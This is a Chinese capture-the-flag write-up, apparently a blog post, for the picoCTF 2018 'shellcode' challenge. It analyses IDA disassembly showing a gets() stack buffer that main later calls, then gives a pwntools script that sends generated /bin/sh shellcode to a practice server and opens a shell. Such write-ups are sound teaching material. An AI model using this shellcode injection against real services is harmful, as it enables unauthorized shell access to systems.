• picoctf_2018_shellcode


    常规检查

      看题目提示就知道是 shellcode 题,看保护,果然 NX 防护没开启,这就意味着栈上的代码是可以执行的。

    逆向分析

      文件函数众多,而且不能 ida f5 直接反编译,那只好手撸汇编代码

    .text:080488A1 ; int __cdecl main(int argc, const char **argv, const char **envp)
    .text:080488A1                 public main
    .text:080488A1 main            proc near               ; DATA XREF: _start+17o
    .text:080488A1
    .text:080488A1 var_A0          = byte ptr -0A0h
    .text:080488A1 var_C           = dword ptr -0Ch
    .text:080488A1 var_4           = dword ptr -4
    .text:080488A1 argc            = dword ptr  0Ch
    .text:080488A1 argv            = dword ptr  10h
    .text:080488A1 envp            = dword ptr  14h
    .text:080488A1
    .text:080488A1                 lea     ecx, [esp+4]
    .text:080488A5                 and     esp, 0FFFFFFF0h
    .text:080488A8                 push    dword ptr [ecx-4]
    .text:080488AB                 push    ebp
    .text:080488AC                 mov     ebp, esp
    .text:080488AE                 push    ecx
    .text:080488AF                 sub     esp, 0A4h
    .text:080488B5                 mov     eax, stdout
    .text:080488BA                 push    0
    .text:080488BC                 push    2
    .text:080488BE                 push    0
    .text:080488C0                 push    eax
    .text:080488C1                 call    setvbuf
    .text:080488C6                 add     esp, 10h
    .text:080488C9                 call    getegid
    .text:080488CE                 mov     [ebp+var_C], eax
    .text:080488D1                 sub     esp, 4
    .text:080488D4                 push    [ebp+var_C]
    .text:080488D7                 push    [ebp+var_C]
    .text:080488DA                 push    [ebp+var_C]
    .text:080488DD                 call    setresgid
    .text:080488E2                 add     esp, 10h
    .text:080488E5                 sub     esp, 0Ch
    .text:080488E8                 push    offset aEnterAString ; "Enter a string!"
    .text:080488ED                 call    puts
    .text:080488F2                 add     esp, 10h
    .text:080488F5                 sub     esp, 0Ch
    .text:080488F8                 lea     eax, [ebp+var_A0]
    .text:080488FE                 push    eax
    .text:080488FF                 call    vuln
    .text:08048904                 add     esp, 10h
    .text:08048907                 sub     esp, 0Ch
    .text:0804890A                 push    offset aThanksExecutin ; "Thanks! Executing now..."
    .text:0804890F                 call    puts
    .text:08048914                 add     esp, 10h
    .text:08048917                 lea     eax, [ebp+var_A0]
    .text:0804891D                 call    eax
    .text:0804891F                 mov     eax, 0
    .text:08048924                 mov     ecx, [ebp+var_4]
    .text:08048927                 leave
    .text:08048928                 lea     esp, [ecx-4]
    .text:0804892B                 retn
    .text:0804892B main            endp
    

      直接从数据流分析,主函数有两个可疑点,分别是 080488FF call vuln 与 0804891D call eax 。一般的函数调用不会出现 call eax ,这里说明了 eax 在之前肯定被赋予了某部分的地址。至于 vuln ,多做 ctf 题就知道这种起名的函数一般是漏洞函数。 我们点进去看看

    .text:0804887C ; Attributes: bp-based frame
    .text:0804887C
    .text:0804887C                 public vuln
    .text:0804887C vuln            proc near               ; CODE XREF: main+5Ep
    .text:0804887C
    .text:0804887C arg_0           = dword ptr  8
    .text:0804887C
    .text:0804887C                 push    ebp
    .text:0804887D                 mov     ebp, esp
    .text:0804887F                 sub     esp, 8
    .text:08048882                 sub     esp, 0Ch
    .text:08048885                 push    [ebp+arg_0]
    .text:08048888                 call    gets
    .text:0804888D                 add     esp, 10h
    .text:08048890                 sub     esp, 0Ch
    .text:08048893                 push    [ebp+arg_0]
    .text:08048896                 call    puts
    .text:0804889B                 add     esp, 10h
    .text:0804889E                 nop
    .text:0804889F                 leave
    .text:080488A0                 retn
    .text:080488A0 vuln            endp
    

      注意到 vuln 中有 gets 函数的调用。他的参数是 ebp+arg_0 对应的地址,也就是在返回地址上一栈内存单元处,对应主函数中,我们可以看到

    .text:080488F8                 lea     eax, [ebp+var_A0]
    .text:080488FE                 push    eax
    .text:080488FF                 call    vuln
    

      gets 函数写入的地址即为 [ebp+var_A0] 对应的地址,同时我们注意到

    .text:08048917                 lea     eax, [ebp+var_A0]
    .text:0804891D                 call    eax
    

      call 的地址即为 [ebp+var_A0] 所指向的地址

    利用思路

      到这里思路就很明显了,我们先输入的内容会被 get 读取,存到内存 [ebp+var_A0] 中,然后在函数在后面的时候,会调用这一部分内容。所以我们只要写入 shellcode ,函数后面就会调用 shellcode 。至于 [ebp+var_A0] 是指向哪里 ,我们可以看到 main 函数中没有 offset 变量,所以这 [ebp+var_A0] 指的是局部变量,那就是在栈中,而 nx 保护没有开启,所以 shellcode 在栈上也可以执行。

    from pwn import *
    
    io =remote('node3.buuoj.cn',29911)
    
    context.binary = 'PicoCTF_2018_shellcode'
    shellcode = asm(shellcraft.sh())#可以自动生成二进制文件对应架构的 shellcode 
    
    io.sendline(shellcode)
    
    io.interactive()
    
    
    
    

    get flag

  • 相关阅读:
    Java 注解
    java多线程
    webstorm配置Monokai-Sublime.jar主题
    express
    npm与package.json
    Node require方法加载规则
    js伪数组转数组
    node中的Console
    Node.js核心模块-url
    服务端渲染SSR和客户端渲染CSR
  • 原文地址:https://www.cnblogs.com/luoleqi/p/12392741.html
Copyright © 2020-2023  润新知